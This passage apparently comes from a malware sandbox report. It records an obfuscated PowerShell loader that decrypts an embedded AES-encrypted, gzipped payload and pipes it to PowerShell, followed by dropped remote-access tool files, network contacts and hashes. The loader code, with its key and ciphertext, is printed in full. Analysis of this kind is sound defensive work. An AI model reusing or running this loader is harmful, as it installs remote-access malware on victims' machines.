H8YuyvS0fU2sNXkgu1w/BFxyTTXE6xoMDmE3FzclKVE2SJjOjljZEqtN+HploPSJLUHzdwAAxF+QdFzYLAHhBJvVTyXwCj47cNIFzIYJ11p45L1t4TtnMrPRf4ebqCyM8zU7W1Ot4wmEfJQeydAkaQdQLq7g/nWO2EQpNCMOZWHjaU16WhPM7rEFWr2EtNAscFkSA2hLokAt8TsVE9KDS+B7O29zBh+NI53ykRWgPn0168OPztlvljgCbma3Xy3HkLtWxsoJ42L8NzT16vKahO/sRCfGckm1y10bH2LtaIS5wVHpOV6wkvC7UM4Qwebp0IEDRbLJ7SMe1LHX91xlPzthqvN7q5yOdMt8kYl2+kI4a3wBPHKfCrwaoX3Gx8+QYg2quKy3GpQNuAQhZn0vaQbJbbsZf2ERD0Jgp3BiKKfKvZ3H6MV4lIcu99w+MI7vQEM1nn1Y5Pfij1PdnGm6RNqPnlW/gY37EZSlqaUPZE2YlFT2SD41rqzSQ/O2RErCj6DTOa1we6UT0y1RtZI0/SYvyRyPJJSV16ppu6K8JTuTephe/UuuyXC06nACft+1jc/NgDqxCLL85NCNp5KanqLiIyIMcOitJe34VpFkw+K+4kTvlabUucxlKGU4Oj1wlXDGcUOIwCfspI17dJTGhIwlofVWr8D4+Ui+iUrDK7tlJTvTwCSf3zIwdvhOMkt37MGOGgMa1ClgiuCzvTnjpRyoxjfN/4EWhDsqmWUv5pJATyiSL1sHmdGr6UoOwAG2Tf8vCRXcJsPeDguyaa5Ff56cjjaNnuJ6PaKkmQPDrhrAndL0u4+cdwCXIENm2W9s=';$wxWgH = 'SWFxeExKaHRER3pMQUdKVEtEQUhkeUNoTFVXR0tWaEw=';$CEOmdHTE = New-Object 'System.Security.Cryptography.AesManaged';$CEOmdHTE.Mode = [System.Security.Cryptography.CipherMode]::ECB;$CEOmdHTE.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$CEOmdHTE.BlockSize = 128;$CEOmdHTE.KeySize = 256;$CEOmdHTE.Key = [System.Convert]::FromBase64String($wxWgH);$pnTxK = [System.Convert]::FromBase64String($TXrH);$aMhCKShb = $pnTxK[0..15];$CEOmdHTE.IV = $aMhCKShb;$pWmtDyKaS = $CEOmdHTE.CreateDecryptor();$ITgvgxojq = $pWmtDyKaS.TransformFinalBlock($pnTxK, 16, $pnTxK.Length - 16);$CEOmdHTE.Dispose();$GQHIEKgG = New-Object System.IO.MemoryStream( , $ITgvgxojq );$akmEE = New-Object System.IO.MemoryStream;$jlseYdskN = New-Object System.IO.Compression.GzipStream $GQHIEKgG, ([IO.Compression.CompressionMode]::Decompress);$jlseYdskN.CopyTo( $akmEE );$jlseYdskN.Close();$GQHIEKgG.Close();[byte[]] $toUVnm = $akmEE.ToArray();$JuOsS = [System.Text.Encoding]::UTF8.GetString($toUVnm);$JuOsS | powershell -

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell.exe $TXrH = 'AAAAAAAAAAAAAAAAAAAAALgoMIpXuiI6hGAhDsh3cJWwBb7QNE/LADXObYijVjWtxjRg/erskurYB0bHeZOKqF4CFw8yxVGBj/V854KAZi45qjmxBh8Sp7nADYvtuZg5JvdH9DB453dLjjhbpYt1TbWvJABEbgfBx984MdG2Y31vv1vvjYenwcGn2aGBbJlsc8ZTNIfpu3FbQPC0+PbcUZZNXwArWzvi2ekld3wnfv0FQwUphxilv3W2KnLGcJ28FeOz263ZcPelR3I94DxsGQn+WUTLDAkce5K77G7oV1DtOdnypYcIu+7D4caMvuhiywazKzCz4coAy05LrxwogHYTxQSxnV1VDoPbko4J5fAnfz8S7GPbs7QP0QpZUiyWojTvOXkVJjmyAAFv052kHslxkYz5IHdiLLgy1x97fI8UmN/8k5m1P4UvNtshcnu+9AHkYUW0q+pTFS7j1/zbyIdXkDB60nXKIvClOUZ4kuIM64ykKTLxDu9BPX7zEsaQ9kbEUCja3MLsffMuTsVFndQGah4WlH6dSSZUbU6KGnH9+PIx1YeKzpkUQuyzK8bxrsyST3QfEqzMktkt8KkEX0NcBE8ZzL+eWSCPTgZNjiKVSYNaQ2/7jUVd+ZRvdX4SN1pDXlfCPxOHNsbTKlbCBLkNT6LpF8IlhBciDnBFqdoB8Ai/oAn8+bQUi44AQgAFso2d0PWok5578jGnbGVb5mpBxe64to+dNLBvysTQRSSH8YuyvS0fU2sNXkgu1w/BFxyTTXE6xoMDmE3FzclKVE2SJjOjljZEqtN+HploPSJLUHzdwAAxF+QdFzYLAHhBJvVTyXwCj47cNIFzIYJ11p45L1t4TtnMrPRf4ebqCyM8zU7W1Ot4wmEfJQeydAkaQdQLq7g/nWO2EQpNCMOZWHjaU16WhPM7rEFWr2EtNAscFkSA2hLokAt8TsVE9KDS+B7O29zBh+NI53ykRWgPn0168OPztlvljgCbma3Xy3HkLtWxsoJ42L8NzT16vKahO/sRCfGckm1y10bH2LtaIS5wVHpOV6wkvC7UM4Qwebp0IEDRbLJ7SMe1LHX91xlPzthqvN7q5yOdMt8kYl2+kI4a3wBPHKfCrwaoX3Gx8+QYg2quKy3GpQNuAQhZn0vaQbJbbsZf2ERD0Jgp3BiKKfKvZ3H6MV4lIcu99w+MI7vQEM1nn1Y5Pfij1PdnGm6RNqPnlW/gY37EZSlqaUPZE2YlFT2SD41rqzSQ/O2RErCj6DTOa1we6UT0y1RtZI0/SYvyRyPJJSV16ppu6K8JTuTephe/UuuyXC06nACft+1jc/NgDqxCLL85NCNp5KanqLiIyIMcOitJe34VpFkw+K+4kTvlabUucxlKGU4Oj1wlXDGcUOIwCfspI17dJTGhIwlofVWr8D4+Ui+iUrDK7tlJTvTwCSf3zIwdvhOMkt37MGOGgMa1ClgiuCzvTnjpRyoxjfN/4EWhDsqmWUv5pJATyiSL1sHmdGr6UoOwAG2Tf8vCRXcJsPeDguyaa5Ff56cjjaNnuJ6PaKkmQPDrhrAndL0u4+cdwCXIENm2W9s=';$wxWgH = 'SWFxeExKaHRER3pMQUdKVEtEQUhkeUNoTFVXR0tWaEw=';$CEOmdHTE = New-Object 'System.Security.Cryptography.AesManaged';$CEOmdHTE.Mode = [System.Security.Cryptography.CipherMode]::ECB;$CEOmdHTE.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$CEOmdHTE.BlockSize = 128;$CEOmdHTE.KeySize = 256;$CEOmdHTE.Key = [System.Convert]::FromBase64String($wxWgH);$pnTxK = [System.Convert]::FromBase64String($TXrH);$aMhCKShb = $pnTxK[0..15];$CEOmdHTE.IV = $aMhCKShb;$pWmtDyKaS = $CEOmdHTE.CreateDecryptor();$ITgvgxojq = $pWmtDyKaS.TransformFinalBlock($pnTxK, 16, $pnTxK.Length - 16);$CEOmdHTE.Dispose();$GQHIEKgG = New-Object System.IO.MemoryStream( , $ITgvgxojq );$akmEE = New-Object System.IO.MemoryStream;$jlseYdskN = New-Object System.IO.Compression.GzipStream $GQHIEKgG, ([IO.Compression.CompressionMode]::Decompress);$jlseYdskN.CopyTo( $akmEE );$jlseYdskN.Close();$GQHIEKgG.Close();[byte[]] $toUVnm = $akmEE.ToArray();$JuOsS = [System.Text.Encoding]::UTF8.GetString($toUVnm);$JuOsS

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell -

C:\Users\Admin\AppData\Roaming\ForgotME\digitaks.exe

"C:\Users\Admin\AppData\Roaming\ForgotME\digitaks.exe"

Network

Country Destination Domain Proto
US 8.8.8.8:53 217.106.137.52.in-addr.arpa udp
US 8.8.8.8:53 138.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 209.205.72.20.in-addr.arpa udp
US 8.8.8.8:53 157.123.68.40.in-addr.arpa udp
US 8.8.8.8:53 198.187.3.20.in-addr.arpa udp
US 8.8.8.8:53 0.205.248.87.in-addr.arpa udp
US 8.8.8.8:53 johnmmartin.com udp
US 74.220.219.201:443 johnmmartin.com tcp
US 8.8.8.8:53 201.219.220.74.in-addr.arpa udp
US 8.8.8.8:53 133.211.185.52.in-addr.arpa udp
US 74.220.219.201:443 johnmmartin.com tcp
US 5.181.159.27:443 tcp
US 8.8.8.8:53 geo.netsupportsoftware.com udp
US 172.67.68.212:80 geo.netsupportsoftware.com tcp
US 8.8.8.8:53 27.159.181.5.in-addr.arpa udp
US 8.8.8.8:53 212.68.67.172.in-addr.arpa udp
US 8.8.8.8:53 180.178.17.96.in-addr.arpa udp
US 8.8.8.8:53 10.173.189.20.in-addr.arpa udp

Files

memory/2920-0-0x0000000071420000-0x0000000071BD0000-memory.dmp

memory/2920-1-0x00000000028C0000-0x00000000028D0000-memory.dmp

memory/2920-2-0x00000000027B0000-0x00000000027E6000-memory.dmp

memory/2920-3-0x00000000028C0000-0x00000000028D0000-memory.dmp

memory/2920-4-0x00000000054C0000-0x0000000005AE8000-memory.dmp

memory/2920-5-0x0000000005030000-0x0000000005052000-memory.dmp

memory/2920-6-0x00000000053D0000-0x0000000005436000-memory.dmp

memory/2920-7-0x0000000005440000-0x00000000054A6000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_flwkwvvr.urt.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/2920-17-0x0000000005AF0000-0x0000000005E44000-memory.dmp

memory/2920-18-0x0000000004EB0000-0x0000000004ECE000-memory.dmp

memory/2920-19-0x0000000006150000-0x000000000619C000-memory.dmp

memory/2920-20-0x00000000028C0000-0x00000000028D0000-memory.dmp

memory/2920-21-0x0000000007130000-0x00000000071C6000-memory.dmp

memory/2920-22-0x00000000065F0000-0x000000000660A000-memory.dmp

memory/2920-23-0x0000000006660000-0x0000000006682000-memory.dmp

memory/2920-24-0x0000000007780000-0x0000000007D24000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

MD5 def65711d78669d7f8e69313be4acf2e
SHA1 6522ebf1de09eeb981e270bd95114bc69a49cda6
SHA256 aa1c97cdbce9a848f1db2ad483f19caa535b55a3a1ef2ad1260e0437002bc82c
SHA512 05b2f9cd9bc3b46f52fded320b68e05f79b2b3ceaeb13e5d87ae9f8cd8e6c90bbb4ffa4da8192c2bfe0f58826cabff2e99e7c5cc8dd47037d4eb7bfc6f2710a7

memory/1660-28-0x0000000071420000-0x0000000071BD0000-memory.dmp

memory/3176-29-0x0000000071420000-0x0000000071BD0000-memory.dmp

memory/1660-31-0x0000000002A20000-0x0000000002A30000-memory.dmp

memory/3176-32-0x0000000000F90000-0x0000000000FA0000-memory.dmp

memory/1660-33-0x0000000002A20000-0x0000000002A30000-memory.dmp

memory/3176-34-0x0000000000F90000-0x0000000000FA0000-memory.dmp

memory/2920-30-0x0000000071420000-0x0000000071BD0000-memory.dmp

memory/1660-49-0x0000000005D80000-0x00000000060D4000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 ab51090cb0a85bae39aae18f3ba8fccb
SHA1 4a0befac6a78bd41c04128196e6eddd0b571940e
SHA256 2e66bbe1a9ee862b1fd94b551dd04c5f74199274868aed04c7b4e93ac6c0685a
SHA512 b32120ee0c78e8cac65837aa9962e4c9fb769e1600737f031e3b7da2761ddada6124d59b54a07d637ac732cb3cec1d79af3d30917e3f286a26d23698eb2d9aff

memory/3176-55-0x0000000000F90000-0x0000000000FA0000-memory.dmp

memory/1660-56-0x0000000006900000-0x0000000006944000-memory.dmp

memory/3176-57-0x0000000007560000-0x0000000007BDA000-memory.dmp

memory/1660-58-0x0000000007650000-0x00000000076C6000-memory.dmp

memory/3176-60-0x0000000071420000-0x0000000071BD0000-memory.dmp

memory/1660-61-0x0000000002A20000-0x0000000002A30000-memory.dmp

memory/1660-63-0x0000000071420000-0x0000000071BD0000-memory.dmp

memory/1660-64-0x0000000002A20000-0x0000000002A30000-memory.dmp

memory/1660-65-0x0000000002A20000-0x0000000002A30000-memory.dmp

memory/1660-67-0x0000000002A20000-0x0000000002A30000-memory.dmp

memory/1660-68-0x000000007F190000-0x000000007F1A0000-memory.dmp

memory/1660-69-0x0000000007CA0000-0x0000000007CD2000-memory.dmp

memory/1660-70-0x000000006DCE0000-0x000000006DD2C000-memory.dmp

memory/1660-71-0x000000006E070000-0x000000006E3C4000-memory.dmp

memory/1660-81-0x0000000007C80000-0x0000000007C9E000-memory.dmp

memory/1660-82-0x00000000083D0000-0x0000000008473000-memory.dmp

memory/1660-83-0x0000000007AF0000-0x0000000007AFA000-memory.dmp

memory/1660-84-0x0000000007B90000-0x0000000007BA1000-memory.dmp

memory/1660-85-0x0000000008480000-0x0000000008492000-memory.dmp

memory/1660-86-0x0000000007C90000-0x0000000007C9A000-memory.dmp

C:\Users\Admin\AppData\Roaming\ForgotME\digitaks.exe

MD5 8d9709ff7d9c83bd376e01912c734f0a
SHA1 e3c92713ce1d7eaa5e2b1fabeb06cdc0bb499294
SHA256 49a568f8ac11173e3a0d76cff6bc1d4b9bdf2c35c6d8570177422f142dcfdbe3
SHA512 042ad89ed2e15671f5df67766d11e1fa7ada8241d4513e7c8f0d77b983505d63ebfb39fefa590a2712b77d7024c04445390a8bf4999648f83dbab6b0f04eb2ee

C:\Users\Admin\AppData\Roaming\ForgotME\PCICL32.dll

MD5 00587238d16012152c2e951a087f2cc9
SHA1 c4e27a43075ce993ff6bb033360af386b2fc58ff
SHA256 63aa18c32af7144156e7ee2d5ba0fa4f5872a7deb56894f6f96505cbc9afe6f8
SHA512 637950a1f78d3f3d02c30a49a16e91cf3dfccc59104041876789bd7fdf9224d187209547766b91404c67319e13d1606da7cec397315495962cbf3e2ccd5f1226

C:\Users\Admin\AppData\Roaming\ForgotME\pcicapi.dll

MD5 dcde2248d19c778a41aa165866dd52d0
SHA1 7ec84be84fe23f0b0093b647538737e1f19ebb03
SHA256 9074fd40ea6a0caa892e6361a6a4e834c2e51e6e98d1ffcda7a9a537594a6917
SHA512 c5d170d420f1aeb9bcd606a282af6e8da04ae45c83d07faaacb73ff2e27f4188b09446ce508620124f6d9b447a40a23620cfb39b79f02b04bb9e513866352166

C:\Users\Admin\AppData\Roaming\ForgotME\PCICHEK.DLL

MD5 a0b9388c5f18e27266a31f8c5765b263
SHA1 906f7e94f841d464d4da144f7c858fa2160e36db
SHA256 313117e723dda6ea3911faacd23f4405003fb651c73de8deff10b9eb5b4a058a
SHA512 6051a0b22af135b4433474dc7c6f53fb1c06844d0a30ed596a3c6c80644df511b023e140c4878867fa2578c79695fac2eb303aea87c0ecfc15a4ad264bd0b3cd

C:\Users\Admin\AppData\Roaming\ForgotME\msvcr100.dll

MD5 0e37fbfa79d349d672456923ec5fbbe3
SHA1 4e880fc7625ccf8d9ca799d5b94ce2b1e7597335
SHA256 8793353461826fbd48f25ea8b835be204b758ce7510db2af631b28850355bd18
SHA512 2bea9bd528513a3c6a54beac25096ee200a4e6ccfc2a308ae9cfd1ad8738e2e2defd477d59db527a048e5e9a4fe1fc1d771701de14ef82b4dbcdc90df0387630

C:\Users\Admin\AppData\Roaming\ForgotME\NSM.LIC

MD5 7067af414215ee4c50bfcd3ea43c84f0
SHA1 c331d410672477844a4ca87f43a14e643c863af9
SHA256 2050cc232710a2ea6a207bc78d1eac66a4042f2ee701cdfeee5de3ddcdc31d12
SHA512 17b888087192bcea9f56128d0950423b1807e294d1c4f953d1bf0f5bd08e5f8e35afeee584ebf9233bfc44e0723db3661911415798159ac118c8a42aaf0b902f

C:\Users\Admin\AppData\Roaming\ForgotME\client32.ini

MD5 bbaa3f64ab41cc6b8e3c04fe0c17849c
SHA1 0d2076ee4445e5ee6fdb15789b817e6a133b43fa
SHA256 643fa4dae006fd49339ca9b5f19e337e1d4e96fa2bddb01028ce8601e157c6fb
SHA512 555753c751a398dae0e6991cc35c166e7b2d84d453901ad7d79c9343784bf22ee45bb389f8cd3aff22e0cc5e36c20c1ba221dd63e1d10d3dc49f994b428a45f3

C:\Users\Admin\AppData\Roaming\ForgotME\HTCTL32.DLL

MD5 2d3b207c8a48148296156e5725426c7f
SHA1 ad464eb7cf5c19c8a443ab5b590440b32dbc618f
SHA256 edfe2b923bfb5d1088de1611401f5c35ece91581e71503a5631647ac51f7d796
SHA512 55c791705993b83c9b26a8dbd545d7e149c42ee358ecece638128ee271e85b4fdbfd6fbae61d13533bf39ae752144e2cc2c5edcda955f18c37a785084db0860c

memory/1660-154-0x0000000071420000-0x0000000071BD0000-memory.dmp